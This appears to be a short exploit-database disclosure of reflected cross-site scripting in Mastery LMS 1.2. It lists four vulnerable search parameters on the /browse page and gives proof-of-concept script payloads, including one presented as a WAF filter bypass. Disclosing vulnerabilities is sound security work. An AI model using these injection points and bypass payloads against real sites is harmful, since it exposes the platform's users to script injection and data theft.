Mastery LMS 1.2 Cross Site Scripting

`# Exploit Title: Mastery LMS 1.2 - Reflected XSS  
# Exploit Author: CraCkEr  
# Date: 09/07/2023  
# Vendor: Creativeitem  
# Vendor Homepage: https://creativeitem.com/  
# Software Link: https://demo.creativeitem.com/mastery/  
# Tested on: Windows 10 Pro  
# Impact: Manipulate the content of the site   
  
  
  
## Description  
  
Allow Attacker to inject malicious code into website, give ability to steal sensitive  
information, manipulate data, and launch additional attacks.  
  
  
  
Path: /browse  
  
GET parameter 'search' is vulnerable to XSS  
  
https://website/browse?search=[XSS]  
  
GET parameter 'featured' is vulnerable to XSS  
  
https://website/browse?featured=[XSS]  
  
GET parameter 'recommended' is vulnerable to XSS  
  
https://website/browse?recommended=[XSS]  
  
GET parameter 'skill' is vulnerable to XSS  
  
https://website/browse?skill=[XSS]  
  
  
Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script>   
XSS Filter Bypass : "><script>alert(1)</script>  
  
  
[-] Done  
`